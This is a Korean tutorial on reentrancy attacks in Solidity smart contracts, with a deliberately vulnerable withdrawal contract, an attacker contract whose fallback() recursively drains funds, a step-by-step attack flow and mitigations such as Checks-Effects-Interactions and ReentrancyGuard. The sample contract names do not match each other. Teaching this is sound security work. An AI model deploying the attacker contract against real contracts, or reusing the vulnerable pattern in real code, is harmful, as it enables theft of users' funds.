Reentrancy Attack in Smart Contracts

1. 재진입 공격

1.1. OWASP Smart Contract Top 10

OWASP에서는 스마트 컨트랙트에서 발생한 보안 취약점을 분석하여 OWASP Smart Contract Top 10을 발표하고 있습니다.  이 중 가장 빈번하게 발생한 취약점으로 재진입 공격(Reentrancy Attack)이 꼽힙니다.

재진입 공격은 과거부터 현재까지 문제가 되고 있으며, 지속적으로 발생하는 스마트 컨트랙트 보안의 대표적인 취약점입니다.

1.2. 재진입 공격 개념

재진입 공격은 스마트 컨트랙트가 상태를 업데이트하기 전에 외부 함수를 호출할 때 발생하는 취약점을 악용한 공격입니다. 공격자는 이 외부 호출 시점에서 컨트랙트를 다시 호출하여 상태 업데이트를 방해하고, 이를 반복적으로 수행해 자금을 탈취할 수 있습니다.

즉, 공격자의 컨트랙트는 잔고가 줄어들지 않은 상태에서 출금 함수를 여러 번 호출하는 식으로 모든 자금을 출금할 수 있게 됩니다.

 

2. 재진입 공격의 동작 원리

2.1. 주요 개념

일반적인 재진입 공격은 다음과 같은 두가지 요인으로 인해 발생합니다.

먼저, 이더리움 스마트 컨트랙트는 Ether를 전송받을 때 fallback() 또는 receive() 함수를 호출할 수 있습니다. 재진입 공격은 이 fallback() 함수를 이용해 공격자가 취약한 컨트랙트의 동일한 함수를 재귀적으로 호출하여 자금을 반복적으로 탈취하는 방식으로 동작합니다.

두번째로 취약한 컨트랙트는 상태(잔고) 업데이트를 외부 호출 이후에 하는 설계상의 문제가 있을 때 발생합니다. 이를 통해 공격자는 자신의 잔고보다 더 많은 자금을 탈취할 수 있습니다.

2.2. 공격의 단계

2.2.1. 취약한 컨트랙트 배포

아래의 코드는 재진입 공격에 취약한 컨트랙트의 예시입니다.

컨트랙트는 예금출금 기능을 제공하며, 출금 요청 시 출금자의 상태(잔고)를 업데이트하기 전에 Ether를 전송합니다.

contract DAO {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawBalance(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: amount}(""); // 외부 호출
        require(success, "Transfer failed");
        balances[msg.sender] -= amount; // 상태 업데이트
    }
}

2.2.2. 공격자 컨트랙트 배포

공격자는 아래와 같이 악의적인 컨트랙트를 작성하여 재진입 공격을 수행할 준비를 합니다.

이 컨트랙트는 Ether를 받을 때 자동으로 실행되는 fallback() 함수를 사용해 반복적으로 취약한 컨트랙트를 호출합니다.

contract Attacker {
    VulnerableContract public target;

    constructor(address _target) {
        target = VulnerableContract(_target); 	// 공격 대상 설정
    }

    fallback() external payable {
        if (address(target).balance >= 1 ether) {
            target.withdraw(1 ether); 			// 재귀 호출
        }
    }

    function attack() external payable {
        target.deposit{value: 1 ether}(); 		// 예금
        target.withdraw(1 ether);        		// 공격 시작
    }
}

2.2.3. 공격 과정

전체 공격 과정 흐름

  1. 공격자 예금: 공격자는 취약한 컨트랙트에 Ether를 예치하여 적절한 잔고를 확보합니다.
  2. 출금 요청: 공격자는 취약한 컨트랙트의 withdrawBalance 함수를 호출하여 출금을 요청합니다.
  3. 재귀 호출 발생:
    1. 취약한 컨트랙트는 공격자의 컨트랙트로 Ether를 전송하며, 이때 fallback() 함수가 호출됩니다.
    2. 이 함수는 다시 취약한 컨트랙트의 withdrawBalance를 호출합니다.
  4. 자금 탈취 반복: 위 과정을 컨트랙트의 잔고가 1 Ether 이하로 남을 때까지 반복합니다.

2.3. 정리

  • 공격자는 외부 호출 시점에 컨트롤을 가로채 취약한 컨트랙트의 동일한 함수를 반복 호출합니다.
  • 상태(잔고) 업데이트는 외부 호출 이후에 이루어지므로, 공격자의 잔고는 줄어들지 않은 상태로 계속해서 자금을 인출할 수 있습니다.

 

3. 재진입 공격 사례들

3.1. DAO 해킹 사건 (2016)

3.2. Lendf.Me 해킹 사건 (2020)

3.3. Minterest 해킹 사건 (2024)

  • Minterest 플랫폼은 Mantle 네트워크에서 재진입 취약점이 악용되어 약 140만 달러의 mETH와 WETH 토큰이 탈취
  • 이후 Minterest는 보안을 패치하고 피해 사용자들에게 보상을 제공

 

4. 방어 전략

4.1. Checks-Effects-Interactions 패턴

  • 상태를 먼저 업데이트한 후 외부 호출을 수행
function withdraw(uint256 amount) public {
    require(balances[msg.sender] >= amount, "Insufficient balance");
    balances[msg.sender] -= amount; 		// 상태 업데이트 먼저 수행
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
}

4.2. OpenZeppelin ReentrancyGuard 사용

  • OpenZeppelin의 ReentrancyGuard를 사용하여 재진입 공격을 방지
  • ReentrancyGuard는 상태 변수 locked를 내부적으로 관리하여 동일 함수가 실행 중일 때 재귀 호출을 차단
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract SafeContract is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function withdraw(uint256 amount) public nonReentrant {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        balances[msg.sender] -= amount;
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}

4.3. ReEntrancyGuard 직접 구현

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

 

5. 참고

https://owasp.org/www-project-smart-contract-top-10/

 

OWASP Smart Contract Top 10 | OWASP Foundation

Welcome to the OWASP Top Ten for Smart Contracts

owasp.org

https://hackernoon.com/hack-solidity-reentrancy-attack

 

Hack Solidity: Reentrancy Attack | HackerNoon

Reentrancy attack is one of the most destructive attacks in Solidity smart contract. It occurs when a function makes an external call to another

hackernoon.com

https://github.com/pcaversaccio/reentrancy-attacks

 

GitHub - pcaversaccio/reentrancy-attacks: A chronological and (hopefully) complete list of reentrancy attacks to date.

A chronological and (hopefully) complete list of reentrancy attacks to date. - pcaversaccio/reentrancy-attacks

github.com